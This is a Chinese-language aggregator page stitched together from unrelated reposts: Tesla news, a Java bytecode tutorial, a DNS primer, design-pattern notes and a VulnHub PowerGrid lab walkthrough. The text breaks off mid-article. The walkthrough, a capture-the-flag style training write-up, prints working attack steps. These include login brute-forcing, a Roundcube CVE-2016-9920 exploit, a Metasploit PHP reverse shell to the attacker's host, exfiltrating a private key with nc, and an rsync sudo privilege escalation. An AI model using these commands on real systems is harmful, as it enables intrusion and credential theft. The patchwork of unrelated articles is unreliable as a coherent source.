美國電動車厰特斯拉（Tesla）執行長馬斯克（Elon Musk）發表代號「D」的新一代豪華電動車 Model S，搭載雙電動馬達，由前一代的後輪驅動，升級為全時四輪傳動（AWD），起步加速到 100 公里只需 4 秒，充飽電可行駛 442.57 公里，採用鋰電池提供馬力，讓充電更快速方便，預計 12 月開始出貨。   馬斯克在美國時間 10 月 9 日發表先前他在推特預告的代號 D 車款，其實就是現有車款 Model S 車款的升級版，D 指的就是雙馬達（Dual Motors）。馬斯克表示，雙馬達 AWD 的設計，可提升行路能力，應付歐美惡劣天候，並提升效率、增強動力及加速性。   此外，新車款同時搭載全新自動駕駛（autopilot）軟體，配備包括長距離雷達、影像辨識鏡頭及 360 度的超音波聲納，雖無法完全自動駕駛，但可以判讀交通號誌與辨別行人，具備路邊停車輔助功能。且若停在自宅門口，車主可以召喚愛車，車內的車用電腦還能連結至車主行事曆，需要出門時汽車就能準備就緒。   （Source：）

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

目錄

• 簡介
• Byte Code的作用
• 查看Byte Code字節碼
• java Byte Code是怎麼工作的
• 總結

簡介

Byte Code也叫做字節碼，是連接java源代碼和JVM的橋樑，源代碼編譯成為字節碼，而字節碼又被加載進JVM中運行。字節碼怎麼生成，怎麼查看字節碼，隱藏在Byte Code背後的秘密是什麼呢？快跟小師妹一起來看看吧。

Byte Code的作用

小師妹：F師兄，為什麼Java需要字節碼呢？直接編譯成為機器碼不是更快嗎？

小師妹，Java的設計初衷是一次編寫，到處運行。為了兼容各個平台的運行環境，java特別為各種平台設計了JVM。

我們可以把JVM看做是一種抽象，對外提供了統一的接口。這樣我們只需要編寫符合JVM規範的代碼，即可在JVM中運行。

回想下之前我們提到過的java的執行過程：

1. 編寫java代碼文件比如Example.java
2. 使用java編譯器javac將源文件編譯成為Example.class文件
3. JVM加載生成的字節碼文件，將其轉換成為機器可以識別的native machine code執行

小師妹：F師兄，我有一個大膽的想法，JVM的作用是將字節碼解釋或者編譯成為機器碼。然後在相應的運行環境中執行。那麼有沒有可能，不需要JVM，不需要機器碼，而是直接在對應的平台上執行字節碼呢？

愛因斯坦說過沒有想像力的靈魂，就像沒有望遠鏡的天文台。小師妹你這個想法很好，這種實現有個專業的說法叫做：Java processor。

Java processor就是用硬件來實現的JVM。因此字節碼可以直接在Java processor中運行。

其中比較出名的是Jazelle DBX，這是一個主要支持J2ME環境的硬件架構。為了提升java在手機端的執行速度。

但是這樣做其實也是有缺點的，後面我們會講到，java字節碼中的指令非常非常多。所以如果用硬件來實現的話，就會非常非常複雜。

一般來說Java processor不會實現全部的字節碼中的功能，只會提供部分的實現。

查看Byte Code字節碼

小師妹：F師兄，那使用javac編譯過後的class文件跟字節碼有什麼關係呢？

class文件中大部分都是byte code，其他的部分是一些meta data元數據信息。這些組合在一起就是class文件了。

小師妹：F師兄，你說class文件是byte code，為什麼我在IDE中打開的時候，直接显示的是反編譯出來的源文件呢？

小師妹，這是IDE的一個便利功能。因為大多數情況下，沒有人想去看class文件的Byte code的，大家都是想去看看這個class文件的源文件是什麼樣的。

我們舉個最簡單的例子：

這個類中，我們定義了一個很簡單的testByteCode方法，裏面定義了兩個變量，然後返回他們兩個的和。

現在有兩種方法來查看這個類的Byte Code：

第一種方法是用javap命令：

javap -c ByteCodeUsage.class

生成的結果如上所示。

第二種方法就是在IDEA中，選中class文件，然後在view中選中show Bytecode：

我們看下輸出結果：

兩個的結果在显示上面可能有細微的差異，但是並不影響我們後面對其的解析。

java Byte Code是怎麼工作的

小師妹：F師兄，能講解一下這些byte code到底是怎麼工作的嗎？

首先我們要介紹一下JVM的實現是基於棧的結構的。為什麼要基於棧的結構呢？那是因為棧是最適合用來實現function互相調用的。

我們再回顧一下上面的testByteCode的字節碼。裏面有很多iconst，istore的東西，這些東西被稱作Opcode，也就是一些基於棧的操作指令。

上面講了java bytecode的操作指令其實有很多個。下面我們列出這些指令的部分介紹：

實在是太多了，這裏就不把所有的列出來了。

我們看到的指令名字其實是一個助記詞，真實的Opcode是一個佔用兩個字節的数字。

下面我們來詳細解釋一下testByteCode方法：

public int testByteCode();
    Code:
       0: iconst_1
       1: istore_1
       2: iconst_2
       3: istore_2
       4: iload_1
       5: iload_2
       6: iadd
       7: ireturn

第一步，iconst_1將int 1加載到stack中。

第二步，istore_1將入棧的int 1出棧，並存儲到變量1中。

第三步，iconst_2將int 2入棧。

第四步，istore_2將入棧的int 2出棧，並存儲到變量2中。

第五步，iload_1將變量1中的值入棧。

第六步，iload_2將變量2中的值入棧。

第七步，iadd將棧中的兩個變量出棧，並相加。然後將結果入棧。

第八步，ireturn將棧中的結果出棧。

這幾步實際上完美的還原了我們在testByteCode方法中定義的功能。

當然我們只介紹了最賤的byte code命令，通過這些簡單的命令可以組合成為更加複雜的java命令。

總結

本文介紹了java byte code的作用和具體的指令，並分析了一個簡單的例子來做說明。希望大家能夠掌握。

本文的例子https://github.com/ddean2009/learn-java-base-9-to-20

本文作者：flydean程序那些事

本文鏈接：http://www.flydean.com/jvm-byte-code/

本文來源：flydean的博客

歡迎關注我的公眾號:程序那些事，更多精彩等着您！

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

*文章來源：https://blog.egsec.cn/archives/601

*本文將主要說明：本文主要敘述什麼是DNS、域名的層級、DNS 解析過程、DNS的緩存時間、DNS 的記錄類型、DNS 報文結構、DNS劫持與HTTP劫持以及手動清理本地緩存的方法。

 

DNS屬於應用層。DNS即域名系統，其作用是將字符串域名解析成相對於的服務器IP地址，免除人們記憶IP地址的單調和苦惱，屬於為用戶排憂解難之舉，因此劃歸為應用層。DNS不屬於協議,它是域名解析。

 

什麼是DNS

DNS是 Domain Name System 的縮寫，也就是 域名解析系統，它的作用非常簡單，就是根據域名查出對應的 IP地址。

你可以把它想象成一本巨大的電話本，比如當你要訪問域名www.egsec.cn，首先要通過DNS查出它的IP地址是118.31.61.137。

域名層級

DNS 的解析過程中，需要對域名的層級有了解：

• 根域名 ：.root 或者 . ，通常是省略的
• 頂級域名，如 .com，.cn 等
• 次級域名，如 baidu.com 里的 baidu，這個是用戶可以進行註冊購買的
• 主機域名，比如 baike.baidu.com 里的baike，這個是用戶可分配的 

主機名.次級域名.頂級域名.根域名
baike.baidu.com.root

DNS 解析過程

咱們以訪問 www.egsec.cn 這個域名為例，來看一看當你訪問 www.egsec.cn 時，會發生哪些事：

1. 先查找本地 DNS 緩存（自己的電腦上），有則返回，沒有則進入下一步
2. 查看本地 hosts 文件有沒有相應的映射記錄，有則返回，沒有則進入下一步
3. 向本地 DNS 服務器（一般都是你的網絡接入服務器商提供，比如中國電信，中國移動）發送請求進行查詢，本地DNS服務器收到請求后，會先查下自己的緩存記錄，如果查到了直接返回就結束了，如果沒有查到，本地DNS服務器就會向DNS的根域名服務器發起查詢請求：請問老大， www.egsec.cn 的ip是啥？
4. 根域名服務器收到請求后，看到這是個 .cn 的域名，就回信說：這個域名是由 .cn 老弟管理的，你去問他好了，這是.cn老弟的聯繫方式（ip1）。
5. 本地 DNS 服務器接收到回信后，照着老大哥給的聯繫方式（ip1），馬上給 .cn 這個頂級域名服務器發起請求：請問 .cn 大大，www.egsec.cn 的ip 是啥？
6. .cn 頂級域名服務器接收到請求后，看到這是 egsec.cn 的域名，就回信說：這個域名是 .egsec.cn 老弟管理的，你就去問他就行了，這是他的聯繫方式（ip2）
7. 本地 DNS 服務器接收到回信后，按照前輩的指引（ip2），又向 .egsec.cn 這個權威域名服務器發起請求：請問 egsec.cn 大大，請問 www.egsec.cn 的ip是啥？
8. egsec.cn 權威域名服務器接收到請求后，確認了是自己管理的域名，馬上查了下自己的小本本，把 www.egsec.cn 的ip告訴了 本地DNS服務器。
9. 本地DNS服務器接收到回信后，非常地開心，這下總算拿到了www.egsec.cn的ip了，馬上把這個消息告訴了要求查詢的客戶（就是你的電腦）。由於這個過程比較漫長，本地DNS服務器為了節省時間，也為了盡量不去打擾各位老大哥，就把這個查詢結果偷偷地記在了自己的小本本上，方便下次有人來查詢時，可以快速回應。

總結起來就是三句話:

• 從”根域名服務器”查到”頂級域名服務器”的NS記錄和A記錄（IP地址）
• 從”頂級域名服務器”查到”次級域名服務器”的NS記錄和A記錄（IP地址）
• 從”次級域名服務器”查出”主機名”的IP地址

DNS的緩存時間

上面的幾個步驟里，可以看到有兩個地方會緩存 DNS 的查詢記錄，有了緩存，在一定程度上會提高查詢效率，但同時在準確率上會有所損失。

因此我們在配置 DNS 解析的時候，會有一個 TTL 參數（Time To Live），意思就是這個緩存可以存活多長時間，過了這個時間，本地 DNS 就會刪除這條記錄，刪除了緩存后，你再訪問，就要重新走一遍上面的流程，獲取最新的地址。

DNS 的記錄類型

當我們在阿里雲買了一個域名后，可以配置我們主機域名解析規則，也就是 記錄。  

阿里雲域名雲解析（不管是哪個服務商都一樣）：

常見的 DNS 記錄類型如下

• A：地址記錄（Address），返回域名指向的IP地址。
• NS：域名服務器記錄（Name Server），返回保存下一級域名信息的服務器地址。該記錄只能設置為域名，不能設置為IP地址。
• MX：郵件記錄（Mail eXchange），返回接收电子郵件的服務器地址。
• CNAME：規範名稱記錄（Canonical Name），返回另一個域名，即當前查詢的域名是另一個域名的跳轉，詳見下文。
• PTR：逆向查詢記錄（Pointer Record），只用於從IP地址查詢域名，詳見下文。

DNS報文結構

1. 事務 ID：DNS 報文的 ID 標識。對於請求報文和其對應的應答報文，該字段的值是相同的。通過它可以區分 DNS 應答報文是對哪個請求進行響應的。
2. 標誌：DNS 報文中的標誌字段。
3. 問題計數：DNS 查詢請求的數目。
4. 回答資源記錄數：DNS 響應的數目。
5. 權威名稱服務器計數：權威名稱服務器的數目。
6. 附加資源記錄數：額外的記錄數目（權威名稱服務器對應 IP 地址的數目）

DNS劫持與HTTP劫持

通過上面的講解，我們都知道了，DNS 完成了一次域名到 IP 的映射查詢，當你在訪問 www.egsec.cn 時，能正確返回給你 我網站首頁的 ip。

但如果此時 DNS 解析出現了一些問題，當你想要訪問 www.egsec.cn 時，卻返回給你 www.baidu.com 的ip，這就是我們常說的 DNS 劫持。

與之容易混淆的有 HTTP 劫持。

什麼是 HTTP 劫持？

你一定見過當你在訪問 某個網站時，右下角也突然彈出了一個扎眼的廣告彈窗。這就是 HTTP 劫持。

藉助別人文章里的例子，它們倆的區別就好比是

• DNS劫持是你想去機場的時候，把你給丟到火車站。
• HTTP劫持是你去機場途中，有人給你塞小廣告。

DNS劫持 是如何產生的？

下面大概說幾種DNS劫持方法：

1.本機DNS劫持

攻擊者通過某些手段使用戶的計算機感染上木馬病毒，或者惡意軟件之後，惡意修改本地DNS配置，比如修改本地hosts文件，緩存等

2. 路由DNS劫持

很多用戶默認路由器的默認密碼，攻擊者可以侵入到路由管理員賬號中，修改路由器的默認配置

3.攻擊DNS服務器

直接攻擊DNS服務器，例如對DNS服務器進行DDOS攻擊，可以是DNS服務器宕機，出現異常請求，還可以利用某些手段感染dns服務器的緩存，使給用戶返回來的是惡意的ip地址

如何在本地查詢 DNS 解析結果？

nslookup命令：

命令格式：nslookup [查詢的域名] [指定DNS服務器]

你也可以指定公網的域名服務器進行查詢，比如常見的 114.114.114.114

手動清理DNS緩存

MacOS：

sudo dscacheutil -flushcache
$ sudo killall -HUP mDNSResponder

Windows：

$ ipconfig /flushdns

Linux：

使用NSCD的DNS緩存
$ sudo /etc/init.d/nscd restart

# 服務器或者路由器使用DNSMASQ
$ sudo dnsmasq restart

　　

DNS詳解篇完

轉發請註明出處(EG Blog：blog.egsec.cn)，謝謝！

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

說明：設計模式系列文章是讀劉偉所著《設計模式的藝術之道(軟件開發人員內功修鍊之道)》一書的閱讀筆記。個人感覺這本書講的不錯，有興趣推薦讀一讀。詳細內容也可以看看此書作者的博客https://blog.csdn.net/LoveLion/article/details/17517213

模式概述

絕大多數B/S系統都有一個首頁或者導航頁面，大部分C/S系統都提供了菜單或者工具欄，在這裏，首頁和導航頁面就充當了B/S系統的外觀角色，而菜單和工具欄充當了C/S系統的外觀角色，通過它們用戶可以快速訪問子系統，增強了軟件的易用性。

在軟件開發中，有時候為了完成一項較為複雜的功能，一個客戶類需要和多個業務類交互，而這些需要交互的業務類經常會作為一個整體出現，由於涉及到的類比較多，導致使用時代碼較為複雜，此時，特別需要一個類似服務員一樣的角色，由它來負責和多個業務類進行交互，而客戶類只需與該類交互。外觀模式通過引入一個外觀角色(Facade)來簡化客戶端與子系統(Subsystem)之間的交互，為複雜的子系統調用提供一個統一的入口，降低子系統與客戶端的耦合度，使得客戶端調用非常方便。

模式定義

外觀模式中，一個子系統的外部與其內部的通信通過一個統一的外觀類進行，外觀類將客戶類與子系統的內部複雜性分隔開，使得客戶類只需要與外觀角色打交道，而不需要與子系統內部的很多對象打交道。

外觀模式(Facade Pattern)：為子系統中的一組接口提供一個統一的入口。外觀模式定義了一個高層接口，這個接口使得這一子系統更加容易使用

外觀模式又稱為門面模式，它是一種對象結構型模式。外觀模式是迪米特法則的一種具體實現，通過引入一個新的外觀角色可以降低原有系統的複雜度，同時降低客戶類與子系統的耦合度。

模式結構圖

外觀模式沒有一個一般化的類圖描述，下圖所示的類圖也可以作為描述外觀模式的結構圖：

外觀模式包含如下兩個角色：

• Facade（外觀角色）：在客戶端可以調用它的方法，在外觀角色中可以知道相關的（一個或者多個）子系統的功能和責任；在正常情況下，它將所有從客戶端發來的請求委派到相應的子系統去，傳遞給相應的子系統對象處理。

• SubSystem（子系統角色）：在軟件系統中可以有一個或者多個子系統角色，每一個子系統可以不是一個單獨的類，而是一個類的集合，它實現子系統的功能；每一個子系統都可以被客戶端直接調用，或者被外觀角色調用，它處理由外觀類傳過來的請求；子系統並不知道外觀的存在，對於子系統而言，外觀角色僅僅是另外一個客戶端而已。

模式偽代碼

外觀模式中所指的子系統是一個廣義的概念，它可以是一個類、一個功能模塊、系統的一個組成部分或者一個完整的系統。子系統類通常是一些業務類，實現了一些具體的、獨立的業務功能，其典型代碼如下：

public class SubSystemA {

    public void methodA() {
        //業務實現代碼
    }
}

public class SubSystemB {

    public void methodB() {
        //業務實現代碼
    }
}

public class SubSystemC {

    public void methodC() {
        //業務實現代碼
    }
}

引入外觀類，與子系統業務類之間的交互統一由外觀類來完成

public class Facade {
    private SubSystemA obj1 = new SubSystemA();
    private SubSystemB obj2 = new SubSystemB();
    private SubSystemC obj3 = new SubSystemC();

    public void method() {
        obj1.methodA();
        obj2.methodB();
        obj3.methodC();
    }
}

由於在外觀類中維持了對子系統對象的引用，客戶端可以通過外觀類來間接調用子系統對象的業務方法，而無須與子系統對象直接交互。引入外觀類后，客戶端代碼變得非常簡單，典型代碼如下：

public static void main(String[] args) {
    Facade facade = new Facade();
    facade.method();
}

模式改進

在標準的外觀模式中，如果需要增加、刪除或更換與外觀類交互的子系統類，必須修改外觀類或客戶端的源代碼，這將違背開閉原則，因此可以通過引入抽象外觀類來對系統進行改進，在一定程度上可以解決該問題。在引入抽象外觀類之後，客戶端可以針對抽象外觀類進行編程，對於新的業務需求，不需要修改原有外觀類，而對應增加一個新的具體外觀類，由新的具體外觀類來關聯新的子系統對象。

定義抽象外觀類

public abstract class AbstractFacade {
    public abstract void method();
}

根據具體的場景，實現具體的外觀類

public class Facade1 extends AbstractFacade {

    private SubSystemA obj1 = new SubSystemA();
    private SubSystemB obj2 = new SubSystemB();

    @Override
    public void method() {
        obj1.methodA();
        obj2.methodB();
    }
}

public class Facade2 extends AbstractFacade {

    private SubSystemB obj1 = new SubSystemB();
    private SubSystemC obj2 = new SubSystemC();

    @Override
    public void method() {
        obj1.methodB();
        obj2.methodC();
    }
}

客戶端針對抽象外觀類進行編程，代碼片段如下：

public static void main(String[] args) {
    AbstractFacade facade = new Facade1();
    // facade = new Facade2();
    facade.method();
}

模式應用

個人認為外觀模式某些情況下可以看成是對既有系統的再次封裝，所以各種類庫、工具庫(比如hutool)、框架基本都有外觀模式的影子。外觀模式讓調用方更加簡潔，不用關心內部的實現，與此同時，也讓越來越多的程序猿多了個調包俠的昵稱(當然了這其中也包括筆者●´ω｀●行無際)。

所以，你可能在很多開源代碼中看到類似XxxBootstrap、XxxContext、XxxMain等類似的Class，再追進去看一眼，你可能發現裏面關聯了一大堆的複雜的對象，這些對象對於外層調用者來說幾乎是透明的。

例子太多，以致於不知道舉啥例子(實際是偷懶的借口O(∩_∩)O哈哈~)。

模式總結

外觀模式並不給系統增加任何新功能，它僅僅是簡化調用接口。在幾乎所有的軟件中都能夠找到外觀模式的應用。所有涉及到與多個業務對象交互的場景都可以考慮使用外觀模式進行重構。

主要優點

(1) 它對客戶端屏蔽了子系統組件，減少了客戶端所需處理的對象數目，並使得子系統使用起來更加容易。通過引入外觀模式，客戶端代碼將變得很簡單，與之關聯的對象也很少。

(2) 它實現了子系統與客戶端之間的松耦合關係，這使得子系統的變化不會影響到調用它的客戶端，只需要調整外觀類即可。

(3) 一個子系統的修改對其他子系統沒有任何影響，而且子系統內部變化也不會影響到外觀對象。

適用場景

(1) 當要為訪問一系列複雜的子系統提供一個簡單入口時可以使用外觀模式。

(2) 客戶端程序與多個子系統之間存在很大的依賴性。引入外觀類可以將子系統與客戶端解耦，從而提高子系統的獨立性和可移植性。

(3) 在層次化結構中，可以使用外觀模式定義系統中每一層的入口，層與層之間不直接產生聯繫，而通過外觀類建立聯繫，降低層之間的耦合度。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

​本文首發於微信公眾號：VulnHub PowerGrid 1.0.1靶機滲透，未經授權，禁止轉載。

難度評級：官網地址：https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼雲盤：https://cloud.189.cn/t/2UN7Ffiuqyym百度網盤：https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼：r4zc官網簡介：靶機會進行計時，即使關閉虛擬機也不會停止，超時后將銷毀證據滲透目標：獲取root權限，找到4個flag本機地址：192.168.110.27靶機地址：192.168.110.36 
    

​

 

信息收集

話不多說，直接上nmap看靶機IP。

nmap 192.168.110.0/24 -sP
    

本機是192.168.110.27，那靶機就是192.168.110.36。接着掃一下端口。

nmap -A -p- 192.168.110.36
    

沒有打開22號端口可還行，第一次見到這麼任性的靶機。沒關係，80端口終歸還是打開了的，看看網頁。

網頁端显示了一個計時器，文字說明提示這是一封勒索信，3個小時之內要交250億歐元，這黑客可是真夠黑的。不過，這個網頁的最後透露了deez1、p48、all2這幾個用戶名，需要留意一下。

按照規矩，一般都會遍歷一下網頁的目錄。

dirb http://192.168.110.36
    

什麼也沒有可還行，不過按照以前的經驗(VulnHub CengBox2靶機滲透)，有可能是默認字典不夠大，使用dirbuster的字典再掃一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w
    

發現images目錄和zmail頁面。

images目錄就是兩張背景圖片，沒什麼用，而訪問zmail頁面則彈出一個登錄對話框，使用幾個常見密碼和用戶名登錄失敗，嘗試使用burp爆破。

對登錄界面抓包后發現用戶名密碼採用了Base64編碼，使用burp自帶的解碼器解碼。

其實就是在用戶名和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破，用戶名則選擇deez1、p48、all2。

經過漫長的等待，終於發現有一個響應包的長度跟其他的不一樣。

成功獲取登錄密碼，登錄后發現又是一個登錄界面。

使用同樣的用戶名密碼登錄嘗試，登錄成功(簡直多此一舉)。登錄后發現root發送過來了一封右鍵。

郵件中寫道還有另一台服務器，下面的加密信息就是SSH的私鑰，是用p48的gpg私鑰加密的，可以用來登錄那台服務器但沒必要。呵呵，沒必要？我會聽你的？你個糟老頭子壞得很。不過暫時還沒有辦法解密消息，先把加密消息保存下來。

由於在網頁端可以寫郵件，因此猜測能通過附件上傳PHP木馬，經過嘗試后並不奏效，只好去查找roundcube的漏洞。

msfconsole search roundcube
    

痛苦，在Metasploit里找不到相關漏洞。不過不用灰心，說不定在網上能找到。

經過查找后發現小於1.2.2版本的roundcube存在代碼執行漏洞，編碼為CVE-2016-9920，GitHub鏈接為：https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
    

 

 

漏洞利用

這個exp是用python寫的，不過作者給的示例都不能使用，因為靶機上有兩個登錄界面，而正常來說，網站只需要登錄一次就夠了。另外，需要更改exp的發件人與收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"
    

攻擊成功，現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。

很好，發現了第一個flag文件，趕緊查看一下內容。

提示是pivote，並沒有什麼用。既然已經可以執行任意命令，那麼就可以配合msf獲取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun
    

執行之後會显示一條以php開頭的命令，複製到瀏覽器訪問。

這時msf已經成功獲取session了。

sessions -lsessions -i 1shell
    

很無奈，每次拿到的shell都很不好用，沒有安全感。利用python將難用的shell改成bash。

whereis python
    

發現有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'
    

成功獲取了www-data的bash，接下來就要作點妖了，先看看家目錄下都有哪些用戶。

cd /homels
    

很好，有一個叫p48的用戶，這個用戶的網頁端密碼之前已經爆破出來了，嘗試切換到p48。

完美，p48跟我一樣，喜歡一個密碼到處用，更驚喜的是p48家目錄下有一個gpg私鑰，這應該就是可以解密網頁端加密消息的私鑰了(翻譯翻譯，什麼叫驚喜)。

不過奇怪的是，靶機上竟然沒有gpg命令，必須拷貝到攻擊主機上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg
    

接下來解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa
    

解密后還需要把id_rsa傳回到靶機，同樣使用的nc，這裏就不贅述了。

現在問題來了，這個SSH私鑰文件是要拿來連接誰的呢？郵件里root說的另一台服務器在哪呢？莫非這台靶機上還運行了虛擬機？查看一下IP看看有什麼貓膩。

有一個叫docker0的網卡，這台靶機應該還運行着docker，所謂的另一台服務器應該就在容器里運行着。

掃一下172.17.0.0/24這個網段(網卡信息显示網段為172.17.0.0/16，不過172.17.0.0/24的範圍更大，因此不會漏掉可能的IP)，看看另一台靶機的端口是多少。由於靶機沒有安裝nmap，所以只能使用循環加ping的方法判斷。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done
    

還好IP比較靠前，一下子就掃出來了。接着使用SSH私鑰登錄。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

    

登錄后很容易就發現了第二個flag。

第二個flag提示p48的用戶權限不高，很明顯，這是提示要提權了。

 

 

 

權限提升

首先看看有什麼命令是可以提權執行的。

sudo -l
    

rsync命令可以免密碼以root用戶權限運行，rsync命令可以理解成一個加強版的cp命令，既然可以使用root權限運行，那麼就可以把/root/下的所有文件拷貝到/tmp目錄下查看。

第三個flag已經出來了，這個flag提示pivoting backwards，難不成第四個flag在docker外？由於最開始掃描靶機端口時22號端口沒有打開，這裏又提示要往回找第四個flag，我們有理由懷疑靶機在docker0網卡上開放了SSH服務，往外連接試試。

實錘了，可以通過172.17.0.1連接到靶機。不過並不知道密碼，p48用戶家目錄下的.ssh目錄里也沒有存放SSH私鑰，這是一件很頭疼的事。

經過查詢，發現rsync命令不僅可以用來拷貝文件，還可以用來提權。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami
    

很好，已經成功提權到root，接下來查看/root/.ssh/目錄下有沒有SSH私鑰。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1
    

不出所料，成功登錄到外面的靶機。接下來就是查找第四個flag了。

第四個flag就存放在/root/目錄下，根據提示，這是最後一個flag了。

至此，對PowerGrid的滲透已經全部完成。

 

 

 

總結

這個靶機整體偏難，首先是網頁端的爆破，一般的密碼字典很難跑出來，而rockyou這個密碼字典又很大，如果不耐心等待的話很難爆破出來。
其次是這台靶機多次用到了公私鑰，如果對非對稱加密和gpg工具不熟悉的話，可能就會無法進入下一關。

這台靶機還運行着docker，就相當於有兩台靶機，這是PowerGrid比較新穎的地方。另外，3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。

整體來說，這台靶機在形式上有一定的創新性，很值得下載下來親自復現一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

  漫長的充電時間為電動車推廣的一大問題，而美國電動汽車公司特斯拉（Tesla ）在 1 年前公佈該公司的自動電池交換站（automated battery swap stations）的構想，終於將在下週與大家見面。   電動車漫長的充電時間，經常讓消費者卻步，Tesla 為了解決這個問題，乾脆讓電池用「換」的。特斯拉的官方部落格中公告，該公司將邀請位於美國舊金山以及洛杉磯的 Model S 使用者，參與測試他們的自動電池交換站。   在現場示範的影片中，電池交換過程使用了約花費 90 秒的時間，但特斯拉之後為 Model S 換上更堅固的鋁製偏轉板和鈦製底盤防護罩，兩者的組合將能有效防止電池刺穿或是由路面雜物所造成的危險情況，使得時間增加至 3 分鐘左右。   目前使用特斯拉的快速充電站（Supercharger）充電不收費，自動電池交換站需收費 60 至 80 美元，且前往更換電池之前須先預約。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

說明：設計模式系列文章是讀劉偉所著《設計模式的藝術之道(軟件開發人員內功修鍊之道)》一書的閱讀筆記。個人感覺這本書講的不錯，有興趣推薦讀一讀。詳細內容也可以看看此書作者的博客https://blog.csdn.net/LoveLion/article/details/17517213

模式概述

很多在一線城市漂泊的朋友或多或少都會遇到租房的難題，你是怎樣找到物美價廉的房子的呢，可以在評論區分享經驗哦。相信大多數小夥伴是通過中介找房子的，實話說，通過中介，只要說出你的預算以及大致需求(比如單間帶獨衛、朝南大卧室帶陽台等)，中介會快速提供符合你情況房源。這裏可以看出，中介者協調了房東與租客之間錯綜複雜的關係，將一個網狀的關係結構變成一個以中介者為中心的星形結構，讓多對多的關係更容易維護。

未引入中介者，對象之間(這些對象稱為同事對象，它們之間通過彼此的相互作用實現系統的行為)的關係圖如下所示：

引入中介者可以使對象之間的關係數量急劇減少。在這個星形結構中，對象不再直接與另一個對象聯繫，它通過中介者對象與另一個對象發生相互作用。

模式定義

如果在一個系統中對象之間存在多對多的相互關係，我們可以將對象之間的一些交互行為從各個對象中分離出來，並集中封裝在一个中介者對象中，並由該中介者進行統一協調，這樣對象之間多對多的複雜關係就轉化為相對簡單的一對多關係。通過引入中介者來簡化對象之間的複雜交互，中介者模式是“迪米特法則”的一個典型應用。

中介者模式(Mediator Pattern)：用一个中介對象（中介者）來封裝一系列的對象交互，中介者使各對象不需要顯式地相互引用，從而使其耦合鬆散，而且可以獨立地改變它們之間的交互。中介者模式又稱為調停者模式，它是一種對象行為型模式。

模式結構圖

在中介者模式中，引入了用於協調其他對象/類之間相互調用的中介者類，為了讓系統具有更好的靈活性和可擴展性，通常還提供了抽象中介者，其結構圖如下圖所示：

在中介者模式結構圖中包含如下幾個角色：

• Mediator（抽象中介者）：它定義一個接口，該接口用於與各同事對象之間進行通信。

• ConcreteMediator（具體中介者）：它是抽象中介者的子類，通過協調各個同事對象來實現協作行為，它維持了對各個同事對象的引用。

• Colleague（抽象同事類）：它定義各個同事類公有的方法，並聲明了一些抽象方法來供子類實現，同時它維持了一個對抽象中介者類的引用，其子類可以通過該引用來與中介者通信。

